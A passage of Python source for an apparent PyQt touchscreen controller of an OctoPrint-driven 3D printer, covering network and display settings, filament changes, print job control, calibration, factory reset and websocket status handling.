mtEthGlobal = re.search(reEthGlobal, txt) if cbStaticEnabled: if not mtEthGlobal: txt = txt + "\n" + "interface eth0" + "\n" op = "interface eth0\nstatic ip_address={0}/24\nstatic routers={1}\nstatic domain_name_servers=8.8.8.8 8.8.4.4\n\n".format( txtEthAddress, txtEthGateway) res = re.sub(r"interface\s+eth0\s?(static\s+[a-z0-9./_=\s]+\n)*", op, txt) try: file = open("/etc/dhcpcd.conf", "w") file.write(res) file.close() except: if dialog.WarningOk(self, "Failed to change Ethernet Interface configuration."): pass # signal = 'ETH_RECONNECT_RESULT' # self.restartEthThreadObject = ThreadRestartNetworking(ThreadRestartNetworking.ETH, signal) self.restartEthThreadObject = ThreadRestartNetworking(ThreadRestartNetworking.ETH) self.restartEthThreadObject.signal.connect(self.ethReconnectResult) self.restartEthThreadObject.start() # self.connect(self.restartEthThreadObject, QtCore.SIGNAL(signal), self.ethReconnectResult) self.ethMessageBox = dialog.dialog(self, "Restarting networking, please wait...", icon="exclamation-mark.png", buttons=QtWidgets.QMessageBox.Cancel) if self.ethMessageBox.exec_() in {QtWidgets.QMessageBox.Ok, QtWidgets.QMessageBox.Cancel}: self.stackedWidget.setCurrentWidget(self.networkSettingsPage) def ethReconnectResult(self, x): self.ethMessageBox.setStandardButtons(QtWidgets.QMessageBox.Ok) if x is not None: self.ethMessageBox.setLocalIcon('success.png') self.ethMessageBox.setText('Connected, IP: ' + x) else: self.ethMessageBox.setText("Not able to connect to Ethernet") def ethShowKeyboard(self, textbox): self.startKeyboard(textbox.setText, onlyNumeric=True, noSpace=True, text=str(textbox.text())) ''' ++++++++++++++++++++++++++++++++Display Settings+++++++++++++++++++++++++++++++ ''' def touchCalibration(self): os.system('sudo /home/pi/setenv.sh') def showRotateDisplaySettingsPage(self): txt = (subprocess.Popen("cat /boot/config.txt", stdout=subprocess.PIPE, shell=True).communicate()[0]).decode("utf-8") reRot = r"dtoverlay\s*=\s*waveshare35a(\s*:\s*rotate\s*=\s*([0-9]{1,3})){0,1}" mtRot = re.search(reRot, txt) # print(mtRot.group(0)) if mtRot and len(mtRot.groups()) == 2 and str(mtRot.group(2)) == "270": self.rotateDisplaySettingsComboBox.setCurrentIndex(1) else: self.rotateDisplaySettingsComboBox.setCurrentIndex(0) self.stackedWidget.setCurrentWidget(self.rotateDisplaySettingsPage) # def saveRotateDisplaySettings(self): # txt1 = (subprocess.Popen("cat /boot/config.txt", stdout=subprocess.PIPE, shell=True).communicate()[0]).decode("utf-8") # # reRot = r"dtoverlay\s*=\s*waveshare35a(\s*:\s*rotate\s*=\s*([0-9]{1,3})){0,1}" # if self.rotateDisplaySettingsComboBox.currentIndex() == 1: # op1 = "dtoverlay=waveshare35a,rotate=270,fps=12,speed=16000000" # else: # op1 = "dtoverlay=waveshare35a,fps=12,speed=16000000" # res1 = re.sub(reRot, op1, txt1) # # try: # file1 = open("/boot/config.txt", "w") # file1.write(res1) # file1.close() # except: # if dialog.WarningOk(self, "Failed to change rotation settings", overlay=True): # return # # txt2 = (subprocess.Popen("cat /usr/share/X11/xorg.conf.d/99-calibration.conf", stdout=subprocess.PIPE, # shell=True).communicate()[0]).decode("utf-8") # # reTouch = r"Option\s+\"Calibration\"\s+\"([\d\s-]+)\"" # if self.rotateDisplaySettingsComboBox.currentIndex() == 1: # op2 = "Option \"Calibration\" \"3919 208 236 3913\"" # else: # op2 = "Option \"Calibration\" \"300 3932 3801 294\"" # res2 = re.sub(reTouch, op2, txt2, flags=re.I) # # try: # file2 = open("/usr/share/X11/xorg.conf.d/99-calibration.conf", "w") # file2.write(res2) # file2.close() # except: # if dialog.WarningOk(self, "Failed to change touch settings", overlay=True): # return # # self.askAndReboot() # self.stackedWidget.setCurrentWidget(self.displaySettingsPage) def saveRotateDisplaySettings(self): txt1 = (subprocess.Popen("cat /boot/config.txt", stdout=subprocess.PIPE, shell=True).communicate()[0]).decode("utf-8") try: if self.rotateDisplaySettingsComboBox.currentIndex() == 1: os.system('sudo cp -f config/config.txt /boot/config.txt') else: os.system('sudo cp -f config/config_rot.txt /boot/config.txt') except: if dialog.WarningOk(self, "Failed to change rotation settings", overlay=True): return try: if self.rotateDisplaySettingsComboBox.currentIndex() == 1: os.system('sudo cp -f config/99-calibration.conf /usr/share/X11/xorg.conf.d/99-calibration.conf') else: os.system('sudo cp -f config/99-calibration_rot.conf /usr/share/X11/xorg.conf.d/99-calibration.conf') except: if dialog.WarningOk(self, "Failed to change touch settings", overlay=True): return self.askAndReboot() self.stackedWidget.setCurrentWidget(self.displaySettingsPage) ''' +++++++++++++++++++++++++++++++++Change Filament+++++++++++++++++++++++++++++++ ''' def unloadFilament(self): #Update if self.changeFilamentComboBox.findText("Loaded Filament") == -1: octopiclient.setToolTemperature( filaments[str(self.changeFilamentComboBox.currentText())]) self.stackedWidget.setCurrentWidget(self.changeFilamentProgressPage) self.changeFilamentStatus.setText("Heating , Please Wait...") self.changeFilamentNameOperation.setText("Unloading {}".format(str(self.changeFilamentComboBox.currentText()))) # this flag tells the updateTemperature function that runs every second to update the filament change progress bar as well, and to load or unload after heating done self.changeFilamentHeatingFlag = True self.loadFlag = False def loadFilament(self): #Update if self.changeFilamentComboBox.findText("Loaded Filament") == -1: octopiclient.setToolTemperature( filaments[str(self.changeFilamentComboBox.currentText())]) self.stackedWidget.setCurrentWidget(self.changeFilamentProgressPage) self.changeFilamentStatus.setText("Heating , Please Wait...") self.changeFilamentNameOperation.setText("Loading {}".format(str(self.changeFilamentComboBox.currentText()))) # this flag tells the updateTemperature function that runs every second to update the filament change progress bar as well, and to load or unload after heating done self.changeFilamentHeatingFlag = True self.loadFlag = True def changeFilament(self): self.stackedWidget.setCurrentWidget(self.changeFilamentPage) self.changeFilamentComboBox.clear() self.changeFilamentComboBox.addItems(filaments.keys()) #Update print(self.tool0TargetTemperature) if self.tool0TargetTemperature and self.printerStatusText in ["Printing","Paused"]: self.changeFilamentComboBox.addItem("Loaded Filament") index = self.changeFilamentComboBox.findText("Loaded Filament") if index >= 0 : self.changeFilamentComboBox.setCurrentIndex(index) def changeFilamentCancel(self): self.changeFilamentHeatingFlag = False self.coolDownAction() self.control() ''' +++++++++++++++++++++++++++++++++Job Operations+++++++++++++++++++++++++++++++ ''' def stopActionMessageBox(self): ''' Displays a message box asking if the user is sure if he wants to turn off the print ''' if dialog.WarningYesNo(self, "Are you sure you want to stop the print?"): octopiclient.cancelPrint() def playPauseAction(self): ''' Toggles Play/Pause of a print depending on the status of the print ''' if self.printerStatusText == "Operational": if self.playPauseButton.isChecked: octopiclient.startPrint() elif self.printerStatusText == "Printing": octopiclient.pausePrint() elif self.printerStatusText == "Paused": octopiclient.pausePrint() def fileListLocal(self): ''' Gets the file list from octoprint server, displays it on the list, as well as sets the stacked widget page to the file list page ''' self.stackedWidget.setCurrentWidget(self.fileListLocalPage) files = [] for file in octopiclient.retrieveFileInformation()['files']: if file["type"] == "machinecode": files.append(file) self.fileListWidget.clear() files.sort(key=lambda d: d['date'], reverse=True) # for item in [f['name'] for f in files] : # self.fileListWidget.addItem(item) for f in files: if ".gcode" in f['name']: self.fileListWidget.addItem(f['name']) #self.fileListWidget.addItems([f['name'] for f in files]) self.fileListWidget.setCurrentRow(0) def fileListUSB(self): ''' Gets the file list from octoprint server, displays it on the list, as well as sets the stacked widget page to the file list page ToDO: Add deapth of folders recursively get all gcodes ''' self.stackedWidget.setCurrentWidget(self.fileListUSBPage) self.fileListWidgetUSB.clear() files = subprocess.Popen("ls /media/usb0 | grep gcode", stdout=subprocess.PIPE, shell=True).communicate()[0] files = files.decode('utf-8').split('\n') files = filter(None, files) # for item in files: # self.fileListWidgetUSB.addItem(item) self.fileListWidgetUSB.addItems(files) self.fileListWidgetUSB.setCurrentRow(0) def printSelectedLocal(self): ''' gets information about the selected file from octoprint server, as well as sets the current page to the print selected page. This function also selects the file to print from octoprint ''' try: self.fileSelected.setText(self.fileListWidget.currentItem().text()) self.stackedWidget.setCurrentWidget(self.printSelectedLocalPage) file = octopiclient.retrieveFileInformation(self.fileListWidget.currentItem().text()) try: self.fileSizeSelected.setText(size(file['size'])) except KeyError: self.fileSizeSelected.setText('-') try: self.fileDateSelected.setText(datetime.fromtimestamp(file['date']).strftime('%d/%m/%Y %H:%M:%S')) except KeyError: self.fileDateSelected.setText('-') try: m, s = divmod(file['gcodeAnalysis']['estimatedPrintTime'], 60) h, m = divmod(m, 60) d, h = divmod(h, 24) self.filePrintTimeSelected.setText("%dd:%dh:%02dm:%02ds" % (d, h, m, s)) except KeyError: self.filePrintTimeSelected.setText('-') try: self.filamentVolumeSelected.setText( ("%.2f cm" % file['gcodeAnalysis']['filament']['tool0']['volume']) + chr(179)) except KeyError: self.filamentVolumeSelected.setText('-') try: self.filamentLengthFileSelected.setText( "%.2f mm" % file['gcodeAnalysis']['filament']['tool0']['length']) except KeyError: self.filamentLengthFileSelected.setText('-') # uncomment to select the file when selectedd in list # octopiclient.selectFile(self.fileListWidget.currentItem().text(), False) self.stackedWidget.setCurrentWidget(self.printSelectedLocalPage) ''' If image is available from server, set it, otherwise display default image ''' img = octopiclient.getImage(self.fileListWidget.currentItem().text().replace(".gcode", ".png")) if img: pixmap = QtGui.QPixmap() pixmap.loadFromData(img) self.printPreviewSelected.setPixmap(pixmap) else: self.printPreviewSelected.setPixmap(QtGui.QPixmap(_fromUtf8("templates/img/thumbnail.png"))) except: print ("Log: Nothing Selected") # Set image fot print preview: # self.printPreviewSelected.setPixmap(QtGui.QPixmap(_fromUtf8("templates/img/fracktal.png"))) # print self.fileListWidget.currentItem().text().replace(".gcode","") # self.printPreviewSelected.setPixmap(QtGui.QPixmap(_fromUtf8("/home/pi/.octoprint/uploads/{}.png".format(self.FileListWidget.currentItem().text().replace(".gcode",""))))) # Check if the PNG file exists, and if it does display it, or diplay a default picture. def printSelectedUSB(self): ''' Sets the screen to the print selected screen for USB, on which you can transfer to local drive and view preview image. :return: ''' try: self.fileSelectedUSBName.setText(self.fileListWidgetUSB.currentItem().text()) self.stackedWidget.setCurrentWidget(self.printSelectedUSBPage) file = '/media/usb0/' + str(self.fileListWidgetUSB.currentItem().text().replace(".gcode", ".png")) try: exists = os.path.exists(file) except: exists = False if exists: self.printPreviewSelectedUSB.setPixmap(QtGui.QPixmap(_fromUtf8(file))) else: self.printPreviewSelectedUSB.setPixmap(QtGui.QPixmap(_fromUtf8("templates/img/thumbnail.png"))) except: print ("Log: Nothing Selected") # Set Image from USB def transferToLocal(self, prnt=False): ''' Transfers a file from USB mounted at /media/usb0 to octoprint's watched folder so that it gets automatically detected bu Octoprint. Warning: If the file is read-only, octoprint API for reading the file crashes. ''' try: file = '/media/usb0/' + str(self.fileListWidgetUSB.currentItem().text()) self.uploadThread = ThreadFileUpload(file, prnt=prnt) self.uploadThread.start() except: pass if prnt: self.stackedWidget.setCurrentWidget(self.homePage) def printFile(self): ''' Prints the file selected from printSelected() ''' octopiclient.selectFile(self.fileListWidget.currentItem().text(), True) # octopiclient.startPrint() self.stackedWidget.setCurrentWidget(self.homePage) def deleteItem(self): ''' Deletes a gcode file, and if associates, its image file from the memory ''' try: octopiclient.deleteFile(self.fileListWidget.currentItem().text()) octopiclient.deleteFile(self.fileListWidget.currentItem().text().replace(".gcode", ".png")) except: pass # delete PNG also self.fileListLocal() ''' +++++++++++++++++++++++++++++++++Printer Status+++++++++++++++++++++++++++++++ ''' def updateTemperature(self, temperature): ''' Slot that gets a signal originating from the thread that keeps polling for printer status runs at 1HZ, so do things that need to be constantly updated only. This also controls the cooling fan depending on the temperatures :param temperature: dict containing key:value pairs with keys being the tools, bed and their values being their corresponding temperratures ''' if temperature['tool0Target'] == None: temperature['tool0Target'] = 0 if temperature['bedTarget'] == None: temperature['bedTarget'] = 0 if temperature['bedActual'] == None: temperature['bedActual'] = 0 if temperature['tool0Target'] == 0: self.tool0TempBar.setMaximum(300) self.tool0TempBar.setStyleSheet(styles.bar_heater_cold) elif temperature['tool0Actual'] <= temperature['tool0Target']: self.tool0TempBar.setMaximum(temperature['tool0Target']) self.tool0TempBar.setStyleSheet(styles.bar_heater_heating) else: self.tool0TempBar.setMaximum(temperature['tool0Actual']) self.tool0TempBar.setValue(temperature['tool0Actual']) self.tool0ActualTemperature.setText(str(int(temperature['tool0Actual']))) # + unichr(176) self.tool0TargetTemperature.setText(str(int(temperature['tool0Target']))) if temperature['bedTarget'] == 0: self.bedTempBar.setMaximum(150) self.bedTempBar.setStyleSheet(styles.bar_heater_cold) elif temperature['bedActual'] <= temperature['bedTarget']: self.bedTempBar.setMaximum(temperature['bedTarget']) self.bedTempBar.setStyleSheet(styles.bar_heater_heating) else: self.bedTempBar.setMaximum(temperature['bedActual']) self.bedTempBar.setValue(temperature['bedActual']) self.bedActualTemperatute.setText(str(int(temperature['bedActual']))) # + unichr(176)) self.bedTargetTemperature.setText(str(int(temperature['bedTarget']))) # + unichr(176)) # updates the progress bar on the change filament screen if self.changeFilamentHeatingFlag: if temperature['tool0Target'] == 0: self.changeFilamentProgress.setMaximum(300) elif temperature['tool0Target'] - temperature['tool0Actual'] > 1: self.changeFilamentProgress.setMaximum(temperature['tool0Target']) else: self.changeFilamentProgress.setMaximum(temperature['tool0Actual']) self.changeFilamentHeatingFlag = False if self.loadFlag: self.stackedWidget.setCurrentWidget(self.changeFilamentExtrudePage) else: self.stackedWidget.setCurrentWidget(self.changeFilamentRetractPage) octopiclient.extrude(10) # extrudes some amount of filament to prevent plugging self.changeFilamentProgress.setValue(temperature['tool0Actual']) def updatePrintStatus(self, file): ''' displays infromation of a particular file on the home page,is a slot for the signal emited from the thread that keeps pooling for printer status runs at 1HZ, so do things that need to be constantly updated only :param file: dict of all the attributes of a particualr file ''' if file is None: self.currentFile = None self.currentImage = None self.timeLeft.setText("-") self.fileName.setText("-") self.printProgressBar.setValue(0) self.printTime.setText("-") self.playPauseButton.setDisabled(True) # if file available, make play buttom visible else: self.playPauseButton.setDisabled(False) # if file available, make play buttom visible self.fileName.setText(file['job']['file']['name']) self.currentFile = file['job']['file']['name'] if file['progress']['printTime'] is None: self.printTime.setText("-") else: m, s = divmod(file['progress']['printTime'], 60) h, m = divmod(m, 60) d, h = divmod(h, 24) self.printTime.setText("%d:%d:%02d:%02d" % (d, h, m, s)) if file['progress']['printTimeLeft'] is None: self.timeLeft.setText("-") else: m, s = divmod(file['progress']['printTimeLeft'], 60) h, m = divmod(m, 60) d, h = divmod(h, 24) self.timeLeft.setText("%d:%d:%02d:%02d" % (d, h, m, s)) if file['progress']['completion'] is None: self.printProgressBar.setValue(0) else: self.printProgressBar.setValue(file['progress']['completion']) ''' If image is available from server, set it, otherwise display default image. If the image was already loaded, dont load it again. ''' if self.currentImage != self.currentFile: self.currentImage = self.currentFile img = octopiclient.getImage(file['job']['file']['name'].replace(".gcode", ".png")) if img: pixmap = QtGui.QPixmap() pixmap.loadFromData(img) self.printPreviewMain.setPixmap(pixmap) else: self.printPreviewMain.setPixmap(QtGui.QPixmap(_fromUtf8("templates/img/thumbnail.png"))) def updateStatus(self, status): ''' Updates the status bar, is a slot for the signal emited from the thread that constantly polls for printer status this function updates the status bar, as well as enables/disables relavent buttons :param status: String of the status text ''' self.printerStatusText = status self.printerStatus.setText(status) if status == "Printing": # Green self.printerStatusColour.setStyleSheet(styles.printer_status_green) elif status == "Offline": # Red self.printerStatusColour.setStyleSheet(styles.printer_status_red) elif status == "Paused": # Amber self.printerStatusColour.setStyleSheet(styles.printer_status_amber) elif status == "Operational": # Amber self.printerStatusColour.setStyleSheet(styles.printer_status_blue) ''' Depending on Status, enable and Disable Buttons ''' if status == "Printing": self.playPauseButton.setChecked(True) self.stopButton.setDisabled(False) self.motionTab.setDisabled(True) self.changeFilamentButton.setDisabled(True) self.menuCalibrateButton.setDisabled(True) self.menuPrintButton.setDisabled(True) # if not Development: # if not self.__timelapse_enabled: # octopiclient.cancelPrint() # self.coolDownAction() elif status == "Paused": self.playPauseButton.setChecked(False) self.stopButton.setDisabled(False) self.motionTab.setDisabled(False) self.changeFilamentButton.setDisabled(False) self.menuCalibrateButton.setDisabled(True) self.menuPrintButton.setDisabled(True) else: self.stopButton.setDisabled(True) self.playPauseButton.setChecked(False) self.motionTab.setDisabled(False) self.changeFilamentButton.setDisabled(False) self.menuCalibrateButton.setDisabled(False) self.menuPrintButton.setDisabled(False) ''' +++++++++++++++++++++++++++++++++Control Screen+++++++++++++++++++++++++++++++ ''' def control(self): self.stackedWidget.setCurrentWidget(self.controlPage) self.toolTempSpinBox.setProperty("value", float(self.tool0TargetTemperature.text())) self.bedTempSpinBox.setProperty("value", float(self.bedTargetTemperature.text())) def setStep(self, stepRate): ''' Sets the class variable "Step" which would be needed for movement and joging :param step: step multiplier for movement in the move :return: nothing ''' if stepRate == 100: self.step100Button.setFlat(True) self.step1Button.setFlat(False) self.step10Button.setFlat(False) self.step = 100 if stepRate == 1: self.step100Button.setFlat(False) self.step1Button.setFlat(True) self.step10Button.setFlat(False) self.step = 1 if stepRate == 10: self.step100Button.setFlat(False) self.step1Button.setFlat(False) self.step10Button.setFlat(True) self.step = 10 def coolDownAction(self): '''' Turns all heaters and fans off ''' octopiclient.gcode(command='M107') octopiclient.setToolTemperature({"tool0": 0}) # octopiclient.setToolTemperature({"tool0": 0}) octopiclient.setBedTemperature(0) self.toolTempSpinBox.setProperty("value", 0) self.bedTempSpinBox.setProperty("value", 0) ''' +++++++++++++++++++++++++++++++++++Calibration++++++++++++++++++++++++++++++++ ''' def getZHomeOffset(self, offset): ''' Sets the spinbox value to have the value of the Z offset from the printer. the value is -ve so as to be more intuitive. :param offset: :return: ''' self.nozzleOffsetDoubleSpinBox.setValue(-float(offset)) self.nozzleHomeOffset = offset # update global value of def setZHomeOffset(self, offset, setOffset=False): ''' Sets the home offset after the calibration wizard is done, which is a callback to the response of M114 that is sent at the end of the Wizard in doneStep() :param offset: the value off the offset to set. is a str is coming from M114, and is float if coming from the nozzleOffsetPage :param setOffset: Boolean, is true if the function call is from the nozzleOffsetPage, else the current Z value sets the offset :return: #TODO can make this simpler, asset the offset value to string float to begin with instead of doing confitionals ''' if self.setHomeOffsetBool: # when this is true, M114 Z value will set stored as Z offset octopiclient.gcode(command='M206 Z{}'.format(-float(offset))) # Convert the string to float self.setHomeOffsetBool = False octopiclient.gcode(command='M500') # save in EEPROM if setOffset: # When the offset needs to be set from spinbox value octopiclient.gcode(command='M206 Z{}'.format(-offset)) octopiclient.gcode(command='M500') def nozzleOffset(self): ''' Updates the value of M206 Z in the nozzle offset spinbox. Sends M503 so that the pritner returns the value as a websocket calback :return: ''' octopiclient.gcode(command='M503') self.stackedWidget.setCurrentWidget(self.nozzleOffsetPage) def quickStep1(self): ''' Shows welcome message. Sets Z Home Offset = 0 Homes to MAX goes to position where leveling screws can be opened :return: ''' octopiclient.gcode( command='M503') # gets the value of Z offset, that would be restored later, see getZHomeOffset() octopiclient.gcode(command='M420 S0') # Dissable mesh bed leveling for good measure octopiclient.gcode(command='M206 Z0') # Sets Z home offset to 0 octopiclient.home(['x', 'y', 'z']) octopiclient.jog(x=100, y=100, z=15, absolute=True, speed=1500) self.stackedWidget.setCurrentWidget(self.quickStep1Page) def quickStep2(self): ''' Askes user to release all Leveling Screws :return: ''' self.stackedWidget.setCurrentWidget(self.quickStep2Page) def quickStep3(self): ''' leveks first position :return: ''' self.stackedWidget.setCurrentWidget(self.quickStep3Page) octopiclient.jog(x=calibrationPosition['X1'], y=calibrationPosition['Y1'], absolute=True, speed=9000) octopiclient.jog(z=0, absolute=True, speed=1500) def quickStep4(self): ''' levels second leveling position ''' self.stackedWidget.setCurrentWidget(self.quickStep4Page) octopiclient.jog(z=10, absolute=True, speed=1500) octopiclient.jog(x=calibrationPosition['X2'], y=calibrationPosition['Y2'], absolute=True, speed=9000) octopiclient.jog(z=0, absolute=True, speed=1500) def quickStep5(self): ''' levels third leveling position :return: ''' # sent twice for some reason self.stackedWidget.setCurrentWidget(self.quickStep5Page) octopiclient.jog(z=10, absolute=True, speed=1500) octopiclient.jog(x=calibrationPosition['X3'], y=calibrationPosition['Y3'], absolute=True, speed=9000) octopiclient.jog(z=0, absolute=True, speed=1500) # def quickStep6(self): # ''' # Performs Auto bed Leveiling, required for Klipper # ''' # self.stackedWidget.setCurrentWidget(self.quickStep6Page) # octopiclient.gcode(command='M190 S70') # octopiclient.gcode(command='G29') def doneStep(self): ''' decides weather to go to full calibration of return to calibration screen :return: ''' self.stackedWidget.setCurrentWidget(self.calibratePage) octopiclient.gcode(command='M501') # restore eeprom settings to get Z home offset, mesh bed leveling back octopiclient.home(['x', 'y', 'z']) def cancelStep(self): octopiclient.gcode(command='M501') # restore eeprom settings self.stackedWidget.setCurrentWidget(self.calibratePage) ''' +++++++++++++++++++++++++++++++++++Keyboard++++++++++++++++++++++++++++++++ ''' def startKeyboard(self, returnFn, onlyNumeric=False, noSpace=False, text=""): ''' starts the keyboard screen for entering Password ''' keyBoardobj = keyboard.Keyboard(onlyNumeric=onlyNumeric, noSpace=noSpace, text=text) keyBoardobj.keyboard_signal.connect(returnFn) keyBoardobj.setWindowFlags(QtCore.Qt.FramelessWindowHint) keyBoardobj.show() ''' ++++++++++++++++++++++++++++++Restore Defaults++++++++++++++++++++++++++++ ''' def restoreFactoryDefaults(self): if dialog.WarningYesNo(self, "Are you sure you want to restore machine state to factory defaults?\nWarning: Doing so will also reset printer profiles, WiFi & Ethernet config.", overlay=True): os.system('sudo cp -f config/dhcpcd.conf /etc/dhcpcd.conf') os.system('sudo cp -f config/wpa_supplicant.conf /etc/wpa_supplicant/wpa_supplicant.conf') os.system('sudo rm -rf /home/pi/.octoprint/users.yaml') os.system('sudo cp -f config/users.yaml /home/pi/.octoprint/users.yaml') os.system('sudo rm -rf /home/pi/.octoprint/printerProfiles/*') os.system('sudo rm -rf /home/pi/.octoprint/scripts/gcode') try: os.system('sudo rm -rf /home/pi/.octoprint/print_restore.json') except: pass os.system('sudo cp -f config/config.yaml /home/pi/.octoprint/config.yaml') # os.system('sudo rm -rf /home/pi/.fw_logo.dat') self.tellAndReboot("Settings restored. Rebooting...") def restorePrintDefaults(self): if dialog.WarningYesNo(self, "Are you sure you want to restore default print settings?\nWarning: Doing so will erase offsets and bed leveling info", overlay=True): octopiclient.gcode(command='M502') octopiclient.gcode(command='M500') ''' +++++++++++++++++++++++++++++++++++ Misc ++++++++++++++++++++++++++++++++ ''' def tellAndReboot(self, msg="Rebooting...", overlay=True): if dialog.WarningOk(self, msg, overlay=overlay): os.system('sudo reboot now') return True return False def askAndReboot(self, msg="Are you sure you want to reboot?", overlay=True): if dialog.WarningYesNo(self, msg, overlay=overlay): os.system('sudo reboot now') return True return False def handleStartupError(self): print('Shutting Down. Unable to connect') if dialog.WarningOk(self, "Error. Contact Support. Shutting down...", overlay=True): os.system('sudo shutdown now') def pairPhoneApp(self): if getIP(ThreadRestartNetworking.ETH) is not None: qrip = getIP(ThreadRestartNetworking.ETH) elif getIP(ThreadRestartNetworking.WLAN) is not None: qrip = getIP(ThreadRestartNetworking.WLAN) else: if dialog.WarningOk(self, "Network Disconnected"): return self.QRCodeLabel.setPixmap( qrcode.make("http://"+ qrip, image_factory=Image).pixmap()) self.stackedWidget.setCurrentWidget(self.QRCodePage) class QtWebsocket(QtCore.QThread): ''' https://pypi.python.org/pypi/websocket-client https://wiki.python.org/moin/PyQt/Threading,_Signals_and_Slots ''' z_home_offset_signal = QtCore.pyqtSignal(str) temperatures_signal = QtCore.pyqtSignal(dict) status_signal = QtCore.pyqtSignal(str) print_status_signal = QtCore.pyqtSignal('PyQt_PyObject') update_started_signal = QtCore.pyqtSignal(dict) update_log_signal = QtCore.pyqtSignal(dict) update_log_result_signal = QtCore.pyqtSignal(dict) update_failed_signal = QtCore.pyqtSignal(dict) connected_signal = QtCore.pyqtSignal() filament_sensor_triggered_signal = QtCore.pyqtSignal(dict) firmware_updater_signal = QtCore.pyqtSignal(dict) def __init__(self): super(QtWebsocket, self).__init__() url = "ws://{}/sockjs/{:0>3d}/{}/websocket".format( ip, # host + port + prefix, but no protocol random.randrange(0, stop=999), # server_id uuid.uuid4() # session_id ) self.ws = websocket.WebSocketApp(url, on_message=self.on_message, on_error=self.on_error, on_close=self.on_close, on_open=self.on_open) def run(self): self.ws.run_forever() def send(self, data): payload = '["' + json.dumps(data).replace('"', '\\"') + '"]' self.ws.send(payload) def authenticate(self): # perform passive login to retrieve username and session key for API key url = 'http://' + ip + '/api/login' headers = {'content-type': 'application/json', 'X-Api-Key': apiKey} payload = {"passive": True} response = requests.post(url, data=json.dumps(payload), headers=headers) data = response.json() # prepare auth payload auth_message = {"auth": "{name}:{session}".format(**data)} # send it self.send(auth_message) def on_message(self, ws, message): message_type = message[0] if message_type == "h": # "heartbeat" message return elif message_type == "o": # "open" message return elif message_type == "c": # "close" message return message_body = message[1:] if not message_body: return data = json.loads(message_body)[0] if message_type == "m": data = [data, ] if message_type == "a": self.process(data) @run_async def process(self, data): if "event" in data: if data["event"]["type"] == "Connected": self.connected_signal.emit() print("connected") if "plugin" in data: if data["plugin"]["plugin"] == 'Julia2018FilamentSensor': self.filament_sensor_triggered_signal.emit(data["plugin"]["data"]) if data["plugin"]["plugin"] == 'JuliaFirmwareUpdater': self.firmware_updater_signal.emit(data["plugin"]["data"]) elif data["plugin"]["plugin"] == 'softwareupdate': if data["plugin"]["data"]["type"] == "updating": self.update_started_signal.emit(data["plugin"]["data"]["data"]) elif data["plugin"]["data"]["type"] == "loglines": self.update_log_signal.emit(data["plugin"]["data"]["data"]["loglines"]) elif data["plugin"]["data"]["type"] == "restarting": self.update_log_result_signal.emit(data["plugin"]["data"]["data"]["results"]) elif data["plugin"]["data"]["type"] == "update_failed": self.update_failed_signal.emit(data["plugin"]["data"]["data"]) if "current" in data: if data["current"]["messages"]: for item in data["current"]["messages"]: if 'M206' in item: #response to M503, send current Z offset value self.z_home_offset_signal.emit(item[item.index('Z') + 1:].split(' ', 1)[0]) # if 'Count' in item: # gets the current Z value, uses it to set Z offset # self.emit(QtCore.SIGNAL('SET_Z_HOME_OFFSET'), item[item.index('Z') + 2:].split(' ', 1)[0], # False) if data["current"]["state"]["text"]: self.status_signal.emit(data["current"]["state"]["text"]) fileInfo = {"job": data["current"]["job"], "progress": data["current"]["progress"]} if fileInfo['job']['file']['name'] is not None: self.print_status_signal.emit(fileInfo) else: self.print_status_signal.emit(None) def temp(data, tool, temp): try: if tool in data["current"]["temps"][0]: return data["current"]["temps"][0][tool][temp] except: pass return 0 if data["current"]["temps"] and len(data["current"]["temps"]) > 0: try: temperatures = {'tool0Actual': temp(data, "tool0", "actual"), 'tool0Target': temp(data, "tool0", "target"), 'bedActual': temp(data, "bed", "actual"), 'bedTarget': temp(data, "bed", "target")} self.temperatures_signal.emit(temperatures) except KeyError: # temperatures = {'tool0Actual': data["current"]["temps"][0]["tool0"]["actual"], # 'tool0Target': data["current"]["temps"][0]["tool0"]["target"], # 'bedActual': data["current"]["temps"][0]["bed"]["actual"], # 'bedTarget': data["current"]["temps"][0]["bed"]["target"]} pass # self.emit(QtCore.SIGNAL('TEMPERATURES'), temperatures) def on_open(self,ws): self.authenticate() def on_close(self, ws): pass def on_error(self, ws, error): print(error) pass class ThreadSanityCheck(QtCore.QThread): loaded_signal = QtCore.pyqtSignal() startup_error_signal = QtCore.pyqtSignal() def __init__(self, logger = None, virtual=False): super(ThreadSanityCheck, self).__init__() self.MKSPort = None self.virtual = virtual if not Development: self._logger = logger def run(self): global octopiclient self.shutdown_flag = False # get the first value of t1 (runtime check) uptime = 0 # keep trying untill octoprint connects while (True): # Start an object instance of octopiAPI try: if (uptime > 30): self.shutdown_flag = True self.startup_error_signal.emit() break octopiclient = octoprintAPI(ip, apiKey) if not self.virtual: result = subprocess.Popen("dmesg | grep 'ttyUSB'", stdout=subprocess.PIPE, shell=True).communicate()[0] result = result.split(b'\n') # each ssid and pass from an item in a list ([ssid pass,ssid paas]) print(result) result = [s.strip() for s in result] for line in result: if b'FTDI' in line: self.MKSPort = line[line.index(b'ttyUSB'):line.index(b'ttyUSB') + 7].decode('utf-8') print(self.MKSPort) if b'ch34' in line: self.MKSPort = line[line.index(b'ttyUSB'):line.index(b'ttyUSB') + 7].decode('utf-8') print(self.MKSPort) if not self.MKSPort: octopiclient.connectPrinter(port="VIRTUAL", baudrate=115200) else: octopiclient.connectPrinter(port="/dev/" + self.MKSPort, baudrate=115200) break except Exception as e: time.sleep(1) uptime = uptime + 1 print("Not Connected!") if not self.shutdown_flag: self.loaded_signal.emit() class ThreadFileUpload(QtCore.QThread): def __init__(self, file, prnt=False): super(ThreadFileUpload, self).__init__() self.file = file self.prnt = prnt def run(self): try: exists = os.path.exists(self.file.replace(".gcode", ".png")) except: exists = False if exists: octopiclient.uploadImage(self.file.replace(".gcode", ".png")) if self.prnt: octopiclient.uploadGcode(file=self.file, select=True, prnt=True) else: octopiclient.uploadGcode(file=self.file, select=False, prnt=False) class ThreadRestartNetworking(QtCore.QThread): WLAN = "wlan0" ETH = "eth0" signal = QtCore.pyqtSignal('PyQt_PyObject') def __init__(self, interface): super(ThreadRestartNetworking, self).__init__() self.interface = interface def run(self): self.restart_interface() attempt = 0 while attempt < 3: # print(getIP(self.interface)) if getIP(self.interface): self.signal.emit(getIP(self.interface)) break else: attempt += 1 time.sleep(5) if attempt >= 3: self.signal.emit(None) def restart_interface(self): ''' restars wlan0 wireless interface to use new changes in wpa_supplicant.conf file :return: ''' if self.interface == "wlan0": subprocess.call(["wpa_cli","-i", self.interface, "reconfigure"], shell=False) if self.interface == "eth0": subprocess.call(["ifconfig", self.interface, "down"], shell=False) time.sleep(1) subprocess.call(["ifconfig", self.interface, "up"], shell=False) # 